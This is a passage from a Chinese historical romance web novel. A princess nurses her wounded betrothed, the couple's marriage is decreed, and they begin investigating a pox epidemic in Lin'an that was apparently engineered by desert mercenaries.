“你母后的事其实一直都是父皇的一个心结……”
尚容微微抬眸，与尚徽对视，眸色冷淡：“所以……等失去了才懂得珍惜吗？可母后已经走了，她看不见了。”
尚徽一时语塞。身居帝位叱咤风云数十载，这还是他第一次被逼问到语塞，不是被那些直言进谏的言官，而是被自己的女儿，他曾经以为最软弱无能的女儿。
他仿佛从未真正了解过她，他从前了解的不过是她想让他了解的尚容，而非面前这个真正的尚容。
“很多话父皇不必说容儿也能理解，所以也请父皇理解容儿，求父皇应允。”尚容眼神决绝，对着尚徽深深行了一礼。
尚徽缓过神来长叹了一口气，伸手扶起尚容：“既然你心意已决，便……随你吧。”
“多谢父皇。”
“打算何时回京城？”尚徽缓缓抬眼。
“魏修洵生死未卜，儿臣想留下来照顾他，眼下也不知何时回京。”尚容应道。
尚徽抚了抚尚容的肩膀，终于释怀：“也好，你长大了，照顾好自己。”
“儿臣会的，父皇保重。”
言罢，尚徽微微颔首转身离去，走了几步却似想到什么放缓脚步停在原地，转身后映入眼帘的是尚容的背影。
尚容依旧穿着那件破旧不堪，半身浸染了血迹的夜行衣，宽大的腰身显然并不合身，衬得她孤身一人在空旷的雪地上的声音更加娇小，但她身上却仿佛永远有一股韧劲，不会被任何人，任何事轻易催折。
尚徽心中五味杂陈，一瞬间仿佛老了十岁，但他终究是没有再走上前去，因为他知晓他们父女之间的鸿沟已然太深，深到阻隔着着十数年的距离，二人分明只有几步之遥，实际上已经相距甚远。
或许，保留这段距离既是还她自由，也是让他自己免受折磨。
尚徽长舒了一口气，终于转身离去。
就在此时，紧闭的房门从里面被打开，尚容右手撑着圆柱支撑自己站起身来，见苗月走了出来，眼底尽是疲惫之色。
“苗月……他怎么样了？”尚容右手依旧紧紧攥着手中的银质暗纹匕首，神色焦急。
“殿下，晋安侯失血过多，我已经尽力替他医治，不过还要看他自己的造化，若能醒过来便无碍。”苗月眉头微皱，道，“所幸刀刃刺入之时略有偏差，伤口不算太深，若
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再往左偏差分毫，届时刀刃正中要害便是药石无医。”
尚容有些失神，强忍着微微颔首：“我知晓了，你也辛苦了。”
“治病救人本就是我的本分，再加上殿下对我有知遇之恩，能为殿下做这些苗月自然是愿意的。”苗月伸手轻抚尚容的手臂，柔声道，“想必吉人自有天相，这里就交给殿下了，我先去煎些汤药。”
尚容颔首，随即推门而入。屋内格外安静，静得尚容几乎能听见自己心脏的跃动，魏修洵静静地躺在床榻上，只着一件绛红色的里衣，里衣领口早已被血迹浸染成了暗红色。
他面色苍白如纸，不见血色，就连唇色也极浅，因为缺水微微有些皴裂，显得整个人更为无力，了无生气。
床榻边上不起眼的一角摆放着一个算不上新的铜盆，铜盆内漂浮着一块沾满了血迹的素巾，盆中的水早已被血迹染红。
尚容故意偏过头去，不让自己多想，又让长青拿了一点白水和木棉，用少量木棉沾了白水小心地在他缺乏血色的嘴唇上擦拭。
尚容本以为经过一段时间自己的情绪已然平稳，但当此时亲眼见到面前生死未卜的魏修洵之时，眼眶还是忍不住微微泛红。
她坐在床榻边的木椅上，伸手去握他的手，发觉他的手相比平日有些发凉，她便又叫长青添了一些炭火，俯身在他的手心里轻轻哈气。
“你那日在山脚下说的话，我都记在心里了……”
尚容微微抬眸，却仿佛是自己在与自己对话：“只要你醒过来……你的心愿我已经替你实现了。我没有食言，所以你也不能……”
尚容静静地望着她，抿唇一笑，却不见笑意，心酸无比：“其实如今想来我好像运气一直都不太好……但是重生遇见你之后仿佛一切都有在慢慢变好，或许也因为我不惧了……”
“因为慢慢地我知道我不再是孤身一人，笑的时候有人陪我笑，哭的时候有人安慰我……时间久了，我自己都好像已经习惯了。”
尚容长吸了一口气，呼吸略显不稳：“这一次……我希望我的运气能好一点……”
这几个日夜，尚容竟觉得比之前自己经历的所有岁月加起来都要漫长，除了苗月，她不见任何人，只是昼夜不分地守在床前，也不知在想些什么。
也就是在这几日里，永嘉帝彻底消灭以尚林为首的南义教一党，并夺去罗云慎后位赐其鸩酒，同时下旨为大靖长公主与晋安侯赐婚，纵然朝堂之上有人以晋安侯昏迷不醒，生死未卜为由请求永嘉帝收回旨意，但最终永嘉帝依旧旨意下达了圣旨，消息一时传遍大靖大江南北。
“殿下。”
尚容听出是苗月的声音。
“进。”
苗月推门而入，手中端着一盏药汤和一盏白粥：“殿下用些早膳吧，别熬坏了身子。”
尚容抿唇浅笑，随即将白粥一饮而尽，又用汤勺舀了一勺药汤在唇边轻轻吹了几下，送到魏修洵唇边，却见他羽睫微微动了一下。
尚容手上动作顿时一滞。
56. 生时逢
尚容几乎不敢相信自己的眼睛，以为是自己太过疲累出现了幻觉。
“殿下，怎么了？”苗月见尚容微微出神，忍不住轻声问道。
尚容思绪回笼，怅然一笑：“没什么，可能是我看错了。”
尚容再伸手将舀了药汤的药勺送到魏修洵唇边，但他这一次分明清晰地看见魏修洵的眼皮动了一下，而后缓缓掀开眼帘。
尚容直直对上魏修洵的眼眸，却一时说不出话来，眼眶不自觉微微泛红。
魏修洵见尚容眼睛有些红肿，眼下隐约浮着黑眼圈，看上去甚是憔悴，似是一连几日不曾合眼。
他心头一阵泛酸，伸手握住尚容的手腕，微微抬眸，声音有些沙哑：“怎么了……傻了？”
尚容强忍住心绪，侧过身去拭干眼角的泪痕，应道：“别贫了，你感觉如何？”
一旁的苗月闻声顿时反应过来，陡然起身：“晋安侯你醒了？醒了就好，也不负殿下这些时日寸步不离地照顾你。”
声声入耳，魏修洵嘴角微噙，将尚容的手握得更紧了些：“感觉好多了，也多谢苗姑娘。”
“晋安侯既醒了，我便先出去了，记得把药喝了。”苗月转身离去。
“好。”
尚容回过身，便不偏不倚地对上魏修洵的目光。那一瞬间，尚容觉得这几日压在胸口的巨石顿时落地，呼吸顺畅了不少。
“我昏睡了多久？”魏修洵抚摸着尚容的手，柔声道。
“五日。”尚容微微抬眸，答道。
“让你担心了。”
尚容抿唇浅笑，摇了摇头：“醒了就好，先把药喝了。”
言罢尚容将药碗递到魏修洵手中，见魏修洵抬手欲接过，却突然动作一滞，眉头微皱，她下意识便去握他的手，神色焦急：“可是伤口还疼？”
魏修洵撇了撇嘴角，桃花眼深处流露出微不可察的委屈，声音更是软到了尚容耳根里：“还有一些……”
尚容眉头微蹙，随即又接过药碗，轻声道：“你别乱动了，苗月说了再偏分毫命就没了，还是我喂你吧。”
“那就辛苦容儿了。”
声声入耳，尚容总觉得魏修洵醒了之后有些怪怪的，但她来不及多想，便又用药勺舀了一勺药汤轻轻吹了吹送到魏修洵唇边，他很是配合地喝了下去。
尚容正低头舀下一勺，却见他身体微微前倾，而后感到唇上泛起一阵温热，一直绵延至心底，最后乃至全身逐渐酥麻。
她心忧他伤势未愈欲逃开，却不曾想他竟似铁了心地吻着她的唇不放，直到她呼吸微促，耳根泛红才收了手。
“容儿……差一点我就再也见不到你了……”魏修洵望着脸上隐约泛着春光的少女，羽睫微动，目光灼灼，“或许老天爷也知我心有不甘，不愿收我。”
尚容声音微哑，避开魏修洵伤处抱住他的腰，柔声道：“我知道，我都知道。不过……眼下我有一个好消息告诉你，你猜猜。”
“好消息？”魏修洵挑了挑眉，似是有些惊讶，下意识地顺手去揽尚容的腰，“让我猜猜……”
“尚林手下势力被尽数瓦解？”
尚容勾了勾唇：“尚林手下势力确实被全数消灭，但这不是我要告诉你的好消息。”
魏修洵抬眉沉思。
“陛下赏赐了容儿？”
尚容摇了摇头，缓缓抬眸，清丽的眼眸间泛起一闪而过羞涩：“这个消息与你我有关。”
“与你我有关？”魏修洵唇边浮现出令人琢磨不透的笑意，软着声音道，“那……我猜便是陛下知晓你我心意相通，可对？”
尚容松开他的手，直视魏修洵眼睛，轻笑揶揄：“我已向父皇请旨为你我二人赐婚，如今整个大靖都知晓你长公主驸马这个身份了。”
魏修洵呼吸微滞，眼眸含光：“赐婚？容儿你说的可是真的？”
“自然是真的。不信我叫长青来，你问问他？”尚容微微抿唇，故意道。
“不必了，我只是一时不敢相信罢了。”魏修洵唇边笑意浓重，但下一刻他似是想到什么，眸色微沉，“前几日我生死未卜，你便下定了如此决心，不惜赌上自己的名声？”
尚容察觉到他神色有异，与他十指相扣，故作笑着挑逗：“本宫行得正坐得直，自然不畏闲言碎语。怎么？莫非晋安侯还不愿做本宫的驸马？”
魏修洵知晓尚容是在宽慰自己，他努力平复心绪，微微侧身在尚容耳畔轻语：“我自是求之不得……容儿的情意我记在心里，今生定不负。”
尚容耳根微红，随即咳嗽了一声却见魏修洵夺过自己手中的药碗，二话不说一饮而尽，哪里还有方才伤痛的模样？
尚容顿时回过神来，眉心微蹙：“你刚刚莫不是故意的？”
“方才是有些疼，可是刚刚听到容儿的好消息，好像好多了。”魏修洵挑了挑眉，竟没有半点心虚。
尚容自然没被这么轻松糊弄过去，她第一次发觉这人的脸皮竟比城墙还厚上几分。
但当她的目光停留在他依旧有些苍白的脸颊上时，她的心终究还是软了几分。
“你来之前的事我都听长青说了，这次是你命大，不过可不能有下次了。”
魏修洵握住尚容的手，眼底隐去了玩笑意味，显然是认真的：“这次是情况特殊，不过我向你保证下次不会像这样以身犯险。”
尚容点了点头，却听得身后传来一阵叩门声。
“容儿姐姐……你能出来见我一面吗……”
尚容听出是默云的声音，她对上魏修洵的目光，松开他的手，轻声道：“你好好休息，我出去一会。”
“好。”魏修洵微微勾唇。
尚容起身走到门边，有意整理了一下鬓发和衣着，只因这些日子她日夜守在魏修洵身边，整个人几乎是不修边幅的模样，让默云瞧见了，怕是只会心生自责。
待整理完毕，尚容推开房门，见门外不仅默云一人，韶淳和翠桃也一起来了，三人见了尚容都一副红透了眼的模样，倒把尚容逗笑了。
“怎么都来了？”尚容
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上前握住她们的手，勾唇浅笑，“怎么一个个都成小哭包了？”
“这些日子我听底下人说容儿姐姐不见外人，还以为……以为容儿姐姐还在生我的气……”默云眼神躲闪，忍不住道。
“默云，你也是受害者，这不怪你。”尚容伸手拭去默云眼角泪痕，故意玩笑道，“你看！我这不是没事儿吗？”
“可是……”默云右手微微攥紧，欲言又止。
尚容见状打断她不让她再胡思乱想，随即抱住她：“说起来，还多亏了你及时给父皇他们传递消息，我们才能获救。人心险恶，你以后一定要更加小心，保护好自己，知道吗？”
默云眼眶微红，心中情绪再也按捺不住，嚅嚅道：“知道了……我之后一定更加小心……”
尚容点了点头，余光瞥见一旁低着头的韶淳和翠桃，笑道：“韶淳，你知道我为什么那么做吗？”
韶淳缓缓抬眸，眼底似有泪光闪烁。
“虽然你待在我身边的时间不长，原本也不是我手下的人，但经过这段时间的相处，我早已把你当成我的姐妹，我最亲的人，和翠桃没有什么差别。”
尚容握住韶淳的手，抿唇轻笑：“所以啊……不要再胡思乱想了，在那种情况下我不可能抛下你，不可能用你的命来换我的命。我不管别人怎么想，你的命在我眼里可金贵着呢。”
韶淳没了平日里的玩笑模样，一双眼睛红得厉害，躬身行礼：“韶淳定不负殿下恩情，今后替殿下上刀山下火海也在所不辞！”
尚容扶起韶淳，随即侧身望向默云：“默云，打算何时回京？”
“容儿姐姐，我和你一起回去吧。”
尚容低眉，薄唇微启：“等魏修洵伤愈怕是要过上几日，我一时半会还无法启程返回京都。”
默云似是早就猜到尚容如此回应，上前挽住尚容手臂，笑容灿烂：“我不急啊，反正我回去也没事做，我可以等容儿姐姐。”
见默云似是已然下定主意，尚容便也不再推辞，浅浅一笑：“那就一起回去吧。”
“好！”
五日后，尚容一行人自九荣山启程回京，尚容在马车上等了很久，却迟迟不见默云踪迹。她心中难免多虑，正欲起身撩开车帘，却见魏修洵走上了马车。
尚容心中有些惊讶，下意识脱口而出：“默云呢？”
魏修洵嘴角微噙：“放心吧，被韶淳支开了，现在坐在后面一辆马车上。”
尚容闻声忍不住低头轻笑，她知默云素来粘她，也不知韶淳是用了什么法子成功把她说服的，不过单是想想就觉得怪有意思的。
“想到什么了笑得这般开心？”
声声入耳，尚容思绪回笼，只勾唇道：“没什么。”
尚容本以为魏修洵会就此作罢，却不成想他无声靠近。
“韶淳不过是说了陛下给你我赐婚的事，还有……她给云罗公主买了好几份……”
“好几份什么？”尚容见魏修洵坏笑了一下。
“好几份石榴冻。”
57. 痘毒兴
尚容原本在喝茶，听到这话被呛了个正着，连连咳嗽，白皙的肌肤里透出丝丝嫣红。
“慢点喝，这里没人和你抢。”偏生魏修洵一脸若无其事的模样，伸手抚了抚尚容的后背。
但尚容却分明见他唇角轻勾，分明是在憋笑，更是气不打一处来。
想来他定是从默云口中套了话，才故意说这话试探自己，想看看自己的反应。眼下她表现得越是反常，便表明自己越是心虚，是以她不再说话，只是点了点头，平复心绪。
奈何魏修洵不依不饶，挑着眉望着自己。
尚容发觉经过这几日的修养，魏修洵的气色好了不少，已与平日无异。他今日着一身金丝雪色锦袍，却是内衬了一件绛红中衣，领口处锁骨若隐若现，配上他如今的神情，活脱脱像个勾人心魄的狐狸精。
纵然是平日不近美色，阅人无数如尚容，也没忍住多看了几眼。
“从前倒没听容儿说过喜食石榴冻。”魏修洵似是随口一提，唇边荡漾开似有若无的笑意。
“翠桃偶尔会去铺子买一些罢了。”
尚容意识到魏修洵发现自己盯着他看了好久，一时间呼吸微促，偏过头去。
不过她很快就后悔了，她躲什么啊？如今她倒好像干了亏心事做贼心虚似的。就算是做贼心虚，也该是他，她可是一向光明磊落。
这么想着，尚容觉得心里好像没那么慌了，微微抬眸却见他勾了勾唇。
“是吗？”
尚容正欲开口，可他却根本没有给她机会，径直吻上她的唇瓣，堵上了她的嘴，将她还没说出口的话硬生生咽入腹中。
起先尚容还担心被人撞见欲将他推开，可当他将她揽入怀中，撬开她的贝齿，唇舌侵入她的世界一路肆无忌惮地攻城掠地之时，她无处躲避，也不想躲避。
她面色潮红，身体发软，却逐渐沉溺其中不能自拔。终于，她主动环抱住他的脖颈，微微仰头回吻，魏修洵似是愣了一下，而后将她的细腰搂得更紧了些，眼底欲望不再掩盖。
待唇分之时，尚容气息微促，清丽的眼眸间似蕴了一层烟雨。
他的眸子也湿漉漉的，薄唇上染了胭脂，衬得他更添了几分祸国殃民的妖艳。
尚容见他抬手轻轻抚了抚薄唇，用神态慵懒地擦拭唇角染上的一抹胭红，声音低低的，却似小猫一般格外挠人。
“确实不错，就连我也喜欢上了……”
尚容微愣，但她很快反应过来他在说些什么，耳根一时红得更加厉害，几乎是火烧火燎般的感受。她这下越发笃定，他摆明了就是故意的。
是日夜里，尚容靠在窗边睡意朦胧，却感觉马车忽然颠簸得厉害，而后陡然停下。她顿时没了睡意，隐隐听见马车外传来男男女女的叫喊声，其中还掺杂着孩童的哭声。
“怎么了？”尚容眉头微蹙，缓缓抬眸。
魏修洵摇了摇头。
“主君，殿下，城外有一群流民拦住了我们的去路。”
尚容闻声轻轻撩开车帘往外望去，果然见一群流民打扮的男女老少将车队围了个水泄不通，为首的是几个身强体壮的男人，而后便是相对体弱的妇孺。
尚容察觉到为首几个男人的脸颊上都泛着红痘，其中一些因为用力抓挠而出血，流出绿脓，看上去有些可怖。
尚容不是行医之人，却也听宫里人提起过这般症状多半是由可传染的疾病所致。
“长青，提醒所有人带好面罩。”
“是！”
尚容接过面罩系上，与魏修洵对视：“出去看看。”
魏修洵颔首，随即扶着尚容走出了马车。
见马车里走出的青年男女皆身着华服，气度不凡，为首的几个男人眼睛顿时亮了，似饿狼扑食般不管不顾地拥了上去，好在长青率人将其拦下。
其中一个高个子男人红着眼睛，情绪继续已经失控，眼看着就要动手伤人，情急之下长青拔剑抵住他的脖颈，他这才不动了。
“请大家冷静一下，有话好好说，切莫一时冲动。”尚容眉眼坚毅。
声声入耳，高个子男人身后的灰衣女人哭嚷了几句，将男人拉到了身后，对着尚容径直跪了下去：“贵人，俺男人没文化，他也是一时冲动，求贵人开恩放过他这回吧！”
“大婶快起来，你可以告诉我你们从哪儿来，还有……你们脸上的红痘是怎么回事吗？”尚容伸手扶起女人。
女人红着眼睛抹了一把眼泪，哽咽道：“贵人……俺们也是被逼得没有办法了……俺们是从边关来的流民，途径此处，本想找个地方安定下来，却不成想染上了一种怪病……”
“俺们本想进城招大夫治病，可是城里也爆发了同样的怪病，城里大人说没地方安顿俺们，就把俺们赶了出来……”
“俺们死了不要紧，可是俺们的孩子还小啊……求求贵人救救俺们吧……”
言罢，女人想磕两个响头却被尚容拦下。
“诸位先别急，我们这儿有一位姑娘精通医术，先让她为你们看看是染了什么病。”尚容言罢让翠桃去请后面马车上的苗月。
“多谢贵人……多谢贵人。”大婶难掩心中激动，连连鞠躬道谢。
尚容眉心微蹙，侧身与魏修洵对视，声音清冷：“如果我没记错，前面是临安地界。”
魏修洵微微颔首，压低了音量：“殿下不曾记错，如今在任的临安知州是凉云谢家的谢子安，说来这谢家早年还是手握兵权的武将世家，这几年来逐渐没落，到了谢子安这一代更是无法与其余世家相提并论。”
尚容低眉敛眸，心生一番思量。
此时苗月已然替那方才差点失控的高个子男人把好脉，走到尚容身前。
尚容见她眉头不展，便知此病怕是有些棘手。
“殿下，他们是染上了一种痘毒，这种痘毒我曾在太医院藏书阁的一本医书中看见过，多发于西域边境，而少见于内地。”苗月道。
“所以你是意
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思是……痘毒极有可能是从西域边境传来的，或许……是有人有意而为之？”尚容很快反应过来，眸色渐深。
苗月点了点头。
“苗月，那你可有办法解这痘毒？”
“这痘毒看上去虽然凶险，但也并非无解，只是除了寻常草药之外需要一种产自西察的特殊草药，龙胆草。”苗月顿了一顿，继续道，“不过近年我大靖与西察商贸来往密切，临安的许多药铺里应该都有这位药材。”
尚容正想舒一口气，却很快发现了不对之处。她缓缓开口：“可是方才听大婶说临安城内也兴起了痘疫，若是家家药铺里都有龙胆草，又何至于此？”
“这恐怕就要进城才能知晓了。”却是方才一直默不作声的魏修洵先开了口。
“那就先进城吧，也得找个地方将他们安顿下来。”尚容很快下定了决心。
就在此时，尚容听得背后传来熟悉的甜甜的嗓音。
“容儿姐姐，我有龙胆草！”
尚容闻声转身，见默云带着手下文叶走了过来，尚容余光瞥见文叶手中拿了一个木盒，想必里面就是苗月口中能解痘毒的龙胆草。
默云命文叶打开木盒，木盒内层层叠叠长有锯形叶片的植物映入尚容眼帘。
“默云，你这么会随身携带这多龙胆草？”尚容眼神闪过一丝惊讶。
默云勾唇浅笑：“龙胆草能解毒，虽在中原少见，却是我们西察用来解毒的重要药引，所以我来京城也带了一些以免不时之需。既然现在这些流民比我更需要，就给他们吧。”
尚容对着默云嫣然一笑，眼神陈恳：“默云，这次你可是帮了我一个大忙，我替这些流民谢谢你。”
周围的流民也听懂了二人的对话，得知这木盒中装的就是能救他们性命的草药，不约而同地向默云深深地鞠了一躬。
“多谢姑娘……多谢姑娘……”
默云顿时有些不知所措：“快起来快起来，你们一定都会安然无恙的。”
就在此时，人群中传来一声尖叫。
尚容循着声音望去，见一个白发苍苍的老人正伸手疯狂抓挠脸上的红痘，突然身体抽搐口吐白沫倒了下去，苗月见状立马赶了过去。
“殿下，看来他们患病多日，我必须在此处先熬制药汤让他们服下。”苗月眉眼坚毅。
“好，按你说的做。”尚容颔首。
苗月用龙胆草和随身携带的草药熬制了汤药喂老人服下后，老人口吐白沫的症状果然减轻，也逐渐恢复了神智，又过了一会，脸上的红痘也消减了不少。
“老刘好了！姑娘真是神医啊！”方才的大婶见汤药真能救命，顿时激动得热泪盈眶，连声道。
“大家都服下汤药，不要争抢。”苗月将乘了汤药的药碗递给众人。
“殿下还在想方才苗姑娘说的话？”魏修洵见尚容始终眉头不展，试探道。
尚容不予置否：“我总觉得有些不对，等进城之后便都知晓了。”
58. 龙胆草
休整片刻后，众人往临安城门而去。尚容撩起车帘的一角，见城门紧闭，城门外摆放着拒马封锁了车道，车道旁一左一右分别立着两队士卒，个个都用纱布蒙着面。
自痘毒兴起，临安城门禁闭后车道上便再无来往马车，是以列队士卒远远地便瞧见了尚容的车队，还有跟随在车队之后的流民。
“停下！知州已下令封城，尔等速速停下！”为首的士官康大力高声喝道。
他微微侧身，似是认出了流民中熟悉的面孔，声音顿时流露出几分不耐烦：“不是和你们说过了吗？城内没地方安顿你们，还不快走！”
尚容从衣袖中取出一块金玉凤纹令牌，递了出去，声音清冷：“本宫想和你们谢知州好好谈谈。”
康大力起初还在暗笑又是什么吓唬人的赝品货色，但当他接过金玉凤纹令牌仔细打量一番后，唇边的戏谑之色逐渐暗了下去，取而代之的是神经紧绷。
他虽然不太懂金玉，却也能看出这令牌做工精细，绝非凡品，握在手里沉甸甸的，想来定是实心。更要命的是，令牌底部刻了一个朱红的尚字。而全大靖上至老人下至，当朝皇室便是尚氏一族。
想到此处，康大力长吸了一口气。他方才听马车中人自称本宫，想必是皇室血脉无疑，既然如此，此人他可是万万得罪不起的啊！
“没想到是殿下亲临，是小的有眼不识泰山……小的这就带殿下去见谢知州！”康大力双手将令牌递回，脸上顿时挤出谄媚的笑意，欠身道。
然而车中人却没有回话，康大力一时感觉后背发凉，很快额间便沁满了汗珠。
他有些摸不透车中人的心意，声音逐渐有些发颤：“殿……殿下还有何吩咐？”
“这些流民也是我大靖的子民，本宫要一并带他们入城，还请找一处地方将他们安置。”
马车内传来冷冷的女声。
“这……”
康大力似是有些为难。如今临安城内痘毒肆虐，他私下里问过那位谢知州的意思，谢知州和他说多一事不如少一事，更何况这些流民本不属于临安管辖，再如何也赖不着他们头上，便叫他找个理由搪塞过去。但如今是这位殿下开口，他倒是不敢相拒。
“小的这就派人和谢知州通报一声，殿下先入城吧。”
“有劳了。”马车内，尚容朱唇微启，“本宫初来乍到，不知这临安城内的痘疫是何时爆发的？”
“大约五日前，城中便有体弱的百姓感染痘疫，不过当时大家都以为只是小毛小病便也不曾所想，但仅仅过了一日，城中便有几乎一半百姓出现同样症状，谢知府派大夫替百姓诊治，这才发现是痘疫。”康大力仔细回想道。
“那些大夫是如何说的？”
“其中一个大夫说这是西域的一种痘毒，或可医治但缺少了一味草药。”
尚容微微敛眸，事情果然不出她所料。她顿了一顿，继续道：“那大夫说的可是产自西察的龙胆草？”
“是！小的当时就在一旁，记得那大夫说的就是龙胆草！”康大力应道。
此时城门大开，马车缓缓驶入临安城。尚容撩开车帘，见临安城大街上只有几个蒙着面的来往行人，街道边上的小摊小铺就随意倒落在一旁，无人看管，整座城池一片萧条的景象。
尚容此前虽不曾来过临安，却曾在书籍中读到过一些文章，其中不外乎是称赞临安乃大靖的鱼米之乡，想来也是一处物阜民丰的风水宝地，不成想一次痘毒竟让临安百废待兴至此。
“临安粮仓内还有如今多少粮食？”尚容问道。
“除非能尽快熬过这次痘疫，不然预计存量所剩无几。”康大力正色道，“这几年边关的军粮里有一半都产自临安，这次痘疫一过，怕是今年秋季的粮食要供应不上了……”
声声入耳，尚容心头一沉。这些年来，大靖有衰弱之态，每逢年关，边境便有少数部落不断试探底线，频频生扰。
边关素来是苦寒之地，军粮更是重中之重，若军粮空缺，后果将不堪设想。届时不必说那些少数部落，在一旁虎视眈眈的西察怕是也不会错过这次良机。
大约过了半柱香的功夫，马车在官府门口停下。
默云带来的一盒龙胆草还用剩下一些，尚容便让她将剩下的草药建成药汤分发下去，再以辅药尽量稳住百姓病情，而后尚容便和魏修洵在康大力的带领下入了官府。
然则二人刚刚迈过门槛，一个身着绿色官服，头戴乌纱官帽的男人便笑着迎了出来，尚容想来此人便是当任的临安知州谢子安。
看来是方才那士官已然传来了消息，她尚且还没来得及找他，他倒是自己先找上门来了。
“想必这位就是长公主殿下吧，下官有失远迎，失敬失敬！”谢子安毕恭毕敬地拱手欠身，眉眼含笑，行为举止倒令人挑不出错处。
尚容唇角轻勾：看来这谢子安打的是伸手不打笑脸人的主意。
言罢，谢子安微微抬眸打量了一番旁边的白衣男人。
他见男人生着一双风流深蕴的桃花眼，单是站着不说话就能将万千颜色压了去，他曾听闻当今晋安侯生得容貌绝色，不久前圣上又替其与长公主赐婚，想来这位就是那位晋安侯了。
谢子安依旧笑着：“想必这位就是晋安侯吧！下官久仰！”
魏修洵不曾开口，只是抿唇浅笑，颔首回应。
“谢大人客气了，谢大人是临安的父母官，临安如今发生了痘疫这样的大事，谢大人想必定是忙得焦头烂额，昼夜难安。”尚容眉眼含笑，与谢子安对视，朱唇微启。
声声入耳，谢子安眉头紧皱，长叹了一口气：“下官惭愧，这次痘疫来势汹汹，下官也实在是没有办法……”
尚容不欲与其纠缠，只道：“方才本宫在进城途中遇到一群染病的流民，他们想要进城求助，但士官却
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说城内无处安置，本宫听说是谢大人的意思？”
谢子安顿了一顿，似是有些心虚，声音轻了一些：“如今城内痘疫肆虐，粮食药草都成问题，下官也想帮助那些流民，只是……实在有心无力。”
“谢大人的难处本宫也能知晓，只是他们也都是我大靖的子民，这件事若是传出去……恐怕会寒了百姓的心。”
谢子安听出尚容话中有话，心跳变快了些。
其实处理这些流民的事他上任以来也遇到了不止一次，次次都是敷衍过去便罢，出了问题也算不到他这个小小知州的头上，只不过这次不赶巧遇上了这两位，要想保住这顶乌纱帽看来只能拜天求地祈求这次该死的痘疫早点结束了。
“是是是！殿下说的是！是下官考虑不周了，下官这就吩咐下去派人好好安置流民。”谢子安素来能屈能伸，连忙陪笑，只不过笑容却有些僵硬，“只是……”
尚容早已猜到谢子安的心思，道：“粮草和药草的事本宫会上书父皇，想必物资很快便会运来，这点谢大人大可放心。”
听得尚容不曾提自己赶走流民的事，谢子安总算舒了一口气。
“谢大人，现在可以和本宫说说这次痘疫了吧？”尚容勾唇浅笑，眼神清冷，“前因后果本宫已然知晓，据本宫所知近年我大靖与西察贸易往来密切，按理说解痘毒所需的龙胆草各大药铺应都有收购存储，为何痘疫会不断肆虐？”
“按理说的确如此，但眼下临安城内的各大药铺确实只有极少量的龙胆草，就连周围各城也是同样情况。”谢子安眸色渐深，“下官也曾派人探查，发现早在一周前有一批商队高价采购药草，其中就包括龙胆草。”
尚容眉心微蹙：“谢大人可知这商队从何处来？眼下又在何处？”
“是一支中原商队，一周前他们采购完药材便已出城，眼下不知去向。”
“既然是采购药草，想必有目击者，不知谢大人可否带本宫一见？”尚容微微抬眸。
谢子安颔首：“自然，殿下随我来。”
尚容与魏修洵跟随谢子安来到了一家药铺，药铺大门禁闭，谢子安带人连连叩门，片刻后一身材矮小的老伯蒙着脸走了出来。
那老伯原本以为是不速之客，但他很快认出谢子安放下了警惕：“谢大人怎么来了？前几日谢大人派人来找，草民该说的都说了啊！”
“老张你的为人我自然是信得过的，但如今情况紧急，我这边有两位贵人特来询问情况，还请你再将当日情形详细复述一遍。”谢子安道。
尚容本以为这谢子安就是个拿着官银不办事的人物，但如今看城内百姓对他的态度想来此人还是有一些本事的，只是没完全用在正道上。若是能在无意间点拨点拨他，想必日后会有一番作为。
老伯看了一眼谢子安，又打量了几眼他身后气度不凡的一男一女，叹了口气：“好吧，你们都先进来吧。”
59. 无命人
老伯带着众人到房间内安坐，又倒了一壶白水，缓缓开口。
“隔壁药铺的老王与我素来有些交情，一周前的那天我在药铺里问诊，老王突然走到药铺说有一支商队正在高价收购药草，其中就包括大人们最关心的龙胆草。”
“由于我家老婆子一直卧病在床，家中开销较大，我开药铺问诊也是为了维持生计，这支商队收购药草的价格高出市价几倍，我便只留下来一小部分，把其余的药草和龙胆草都卖了出去。”
尚容眉头不展，朱唇微启：“老伯，这支商队以高出市场几倍的价格收购药草，你们当时就不觉得奇怪吗？”
老伯苦笑着摇了摇头，长叹了一口气：“那时候只顾得上高兴，哪里觉得什么奇怪？更何况，有外来商队愿意高价收购物品素来也不是稀奇事，毕竟贵人们的兴趣哪里轮得到我们这些人猜啊？那时就没多加在意。”
尚容微微颔首，低眉沉思。她知晓老伯没有骗她的道理，一定还有什么特殊细节是他们不曾注意到的。
“我听谢大人说……那是一支中原商队？”尚容抬眸道。
老伯点了点头：“是，衣着打扮都是中原人，为首的那个是个小麦肤色的青年男人，就是他来带人来药铺收购的药草。”
“老伯，你还记得那个青年男人当日和你说过什么话？有什么异常举动吗？”尚容眸色渐沉，继续追问。
“他当日就和我说了一些交易上的事，没什么反常的……”老伯眉头紧锁，右手下意识地捋胡子回想。
尚容心头一沉。
“没事老伯，再好好想想。”魏修洵道。
老伯点了点头，良久道：“其实也没什么大事，就是这人说话有点奇怪，虽然是中原人，但应该不是我们这儿的人。”
尚容眉眼坚毅：“怎么个奇怪法？”
“那人说话声音很平，但是舌头有点卷。”老伯回过神来。
尚容意识到有些不对，正欲开口，却是魏修洵先开了口。他眉头紧皱，素日桃花眼底的玩笑意味已然隐去，取而代之的是尚容从未见过的严肃。
“老伯，你确定你没有记错？你可以模仿一下那人说话吗？”
老伯眼神坚定：“我肯定没记错，你让我想想啊……想想……”
片刻后，老伯模仿者记忆中那为首的青年男人说话的模样说了一段话。
声声入耳，尚容望见魏修洵脸色渐沉，她心中也有了一番思量，道：“如果我没猜错，那人不是中原人，商队也不是中原商队。”
魏修洵点了点头：“那人有着小麦肤色是因为常年生活在草原，说话时下意识卷舌……则是东楼人的习惯。”
“东楼人？”尚容一时有些恍惚，“可是东楼国不是早在几十年前就覆灭了吗？”
一旁的谢子安和老伯几乎不敢相信自己的耳朵，脸色也顿时铁青。
“东楼国是覆灭了，但是当年有少数人逃了出来，后来逐渐组成一支队伍行走在大漠，收人钱财替人办事，烧杀抢掠百无禁忌，江湖人称无命人。”
魏修洵眼眸如黑曜石般令人看不清浅深：“我当年在边关的时候，便与无命人交过手，但我没想到这一次……无命人的首领崖柏竟亲自来了。”
尚容顿时知晓他心中顾虑，心头也感到有些几分压抑：“所以说……无命人拿人钱财替人办事，是有人收买无命人替他做事，精心制造了这场痘疫。”
魏修洵点了点头：“没错，无命人不过是办事的人，我们还要找到幕后之人。”
屋内气氛顿时压抑得几乎令人喘不过气来。
就在此时，有人推门而入。
谢子安转身见是手下的熟悉面孔，神色严肃：“出什么事了？慌慌张张的！”
士卒粗粗地喘了几口气，道：“方才兄弟们来报……城门二十里外发现了车辙印和马蹄印，近日只有一支商队出城，应该是他们留下的。”
